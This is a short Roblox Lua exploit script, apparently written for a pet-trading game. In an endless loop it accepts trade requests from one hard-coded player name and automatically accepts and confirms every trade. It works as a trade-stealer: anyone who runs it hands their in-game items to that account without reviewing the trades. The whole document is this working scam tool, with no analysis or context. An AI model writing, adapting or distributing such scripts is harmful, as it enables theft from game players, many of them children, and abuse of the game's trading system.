local replicatedStorage = game:GetService("ReplicatedStorage")
local fsys = replicatedStorage:WaitForChild("Fsys")
local RouterClient = require(fsys).load("RouterClient")
local name = 'opsaodll'
while true do
pcall(function()
local target = game:GetService("Players"):FindFirstChild(name)
if target then
RouterClient.get("TradeAPI/AcceptOrDeclineTradeRequest"):InvokeServer(target, true)
end
end)
RouterClient.get("TradeAPI/AcceptNegotiation"):FireServer()
RouterClient.get("TradeAPI/ConfirmTrade"):FireServer()
task.wait(0.5)
end